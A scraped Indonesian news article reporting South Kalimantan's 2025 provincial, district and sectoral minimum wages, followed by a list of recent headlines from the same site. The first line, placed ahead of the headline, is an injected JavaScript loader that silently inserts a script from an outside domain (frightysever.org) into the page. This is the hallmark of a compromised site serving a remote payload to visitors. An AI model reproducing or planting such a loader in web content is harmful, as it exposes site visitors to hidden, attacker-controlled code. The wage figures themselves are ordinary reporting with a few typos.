(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya


KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum Kabupaten/Kota (UMK) dan Upah Minimum Sektoral (UMS) tahun 2025.

Kebijakan itu tertuang dalam tiga Surat Keputusan (SK) Gubernur Kalsel yang diteken H Muhidin.

Penetapan UMK dan UMS 2025 tersebut dibenarkan oleh Kepala Dinas Ketenagakerjaan dan Transmigrasi (Disnakertrans) Provinsi Kaldelz Irfan Sayuti.

Baca juga: Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

“(UMK dan UMS) Sudah ditetapkan gubernur melalui SK,” ungkap Irfan, Sabtu (21/12/2024).

Keputusan yang ditetapkan mengacu kepada kabupaten kota yang mengajukan UMK dan UMS tahun 2025

SK nomor 100.3.3.1/01060/KUM/2024 tentang Penetapan Upah Minimum Provinsi Kalimantan Selatan tahun 2025.

Baca juga: Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

Dalam SK ditetapkan bahwa UMP Kalsel 2025 sebesar Rp3.496.195 naik 6,5 persen dari UMP tahun 2024 dari Rp3.282.812.

Kemudian SK nomor 100.3.3.1/01062/KUM/2024 tentang Penetapan Upah Minimum Sektoral Provinsi Kalsel 2025, dibagi dalam lima sektor.

Sektor pertambangan sebesar Rp3.506.195, perkebunan Rp3.498.195, perkayuan Rp3.498.195, hotel bintang empat ke atas Rp3.500.000, sektor perbankan dan keuangan Rp3.506.195.

Baca juga: Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

SK berikutnya nomor 100.3.3.1/01089/KUM/2024 tentang Penetapan Upah Minimum Kabupaten/Kota dan Upah Minimum Sektoral Kabupaten/Kota di daerah Provinsi Kalsel tahun 2025.

UMK 2025 dari yang paling tinggi yaitu Kabupaten Kotabaru diangka Rp3.643.004, kedua Kota Banjarmasin Rp3.599.182, ketiga Kabupaten Tabalong Rp3.592.197, keempat Kabupaten Tanah Bumbu Rp3.500.163,21.

UMS Kota Banjarmasin pada sektor perbankan ditetapkan Rp3.609.682, sektor perhotelan 3.603.182, sedangkan sektor kayu Rp3.601.682.

Untuk Kabupaten Kotabaru UMS sektor pertambangan ditetapkan Rp3.653.000, sektor industri minyak mentah/murni kelapa sawit dan minyak goreng kelapa sawit Rp3.646.004, dan sektor perkebunan kelapa sawit juga Rp3.646.004.

Kadisnakertrans Kalssl mengatakan, selain kabupaten/kota yang punya UMK, daerah lain seperti Kota Banjarbaru, Kabupaten Banjar, Barito Kuala, Tanah Laut, Tapin, Hulu Sungai Selatan, Balangan, Hulu Sungai Tengah, dan Hulu Sungai Utara mengikuti upah minimum provinsi yaitu Rp3.496.195,00.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

8 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

13 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

13 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.